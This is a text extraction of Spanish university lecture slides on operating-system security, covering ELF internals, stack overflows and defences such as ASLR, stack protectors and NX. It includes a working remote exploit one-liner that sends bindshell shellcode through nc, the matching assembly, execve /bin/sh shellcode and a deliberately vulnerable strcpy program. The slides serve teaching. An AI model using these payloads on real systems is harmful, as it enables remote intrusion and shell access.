SlideShare una empresa de Scribd logo
1 de 82
Descargar para leer sin conexión
Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
15 de junio de 2011
Universitat Jaume I
1 Intro
2 Breve repaso al S.O. GNU/Linux
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
3 Ataques a ficheros ejecutables
Llamadas al sistema
Accediendo a la memoria
4 Desbordamientos de pila
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
5 Desbordamientos de enteros
6 Seguridad f´ısica
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Vulnerabilidad, Exploit, POC
echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn
Host: $hostrnrn" | nc $host 80
Source: http://ciberjacobo.com/sec/mod rewrite.html
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Code
.section .text
.globl _start
_start:
mov %esp,%esi
xorl %eax,%eax
xorl %ebx,%ebx
movl %esi,%ecx
Code cont’d
movl %eax,(%esi)
movb $0x2,%al
movw %ax,0xc(%esi)
movb $0x77,%al # 0x77 = port 30464
movw %ax,0xe(%esi)
leal 0xc(%esi),%eax
movl %eax,0x4(%esi)
xorl %eax,%eax
movl %eax,0x10(%esi)
movb $0x10,%al
movl %eax,0x8(%esi)
movb $0x66,%al
movb $0x2,%bl
int $0x80
movb $0x1,%al
movl %eax,0x4(%esi)
movb $0x66,%al
movb $0x4,%bl
int $0x80
xorl %eax,%eax
movl %eax,0x4(%esi)
movl %eax,0x8(%esi)
movb $0x66,%al
movb $0x5,%bl
int $0x80
movb %al,%bl
movb $0x3f,%al
xorl %ecx,%ecxJacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Breve repaso al S.O. GNU/Linux
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Privilegios de ejecuci´on
RUID: “Real User ID“. getuid()
EUID: “Effective User ID“. geteuid()
-rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Disposici´on de la pila (“Stack Layout“)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff 
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff 
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Devolviendo el control al programa...
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Ataques a ficheros ejecutables
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Desbordamientos de pila
”Stack Overflow“
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Por qu´e da ”Segmentation Fault”?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte I: Aprovecharse de la vulnerabilidad
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
/* shell sh spawner without placeholders by jack */
char shellcode2[] =
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff"
"xffx2fx62x69x6ex2fx73x68";
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
; nasm -f elf execve2.asm
; execve(const char *path, char *const argv[], char *const envp[]);
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax,eax
mov byte [esi + 7], al ; J = 0x0
lea ebx, [esi] ; ebx = &’/bin/sh’
mov long [esi + 8], ebx ; AAAA = dir de /bin/sh
mov long [esi + 12], eax ; KKKK = 0x0000
mov byte al, 0x0b ; sys_execve syscall #11
mov ebx, esi ; argv1
lea ecx, [esi + 8] ; argv2
lea edx, [esi + 12] ; argv3
int 0x80
GotoCall:
call shellcode
db ’/bin/shJAAAAKKKK’
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
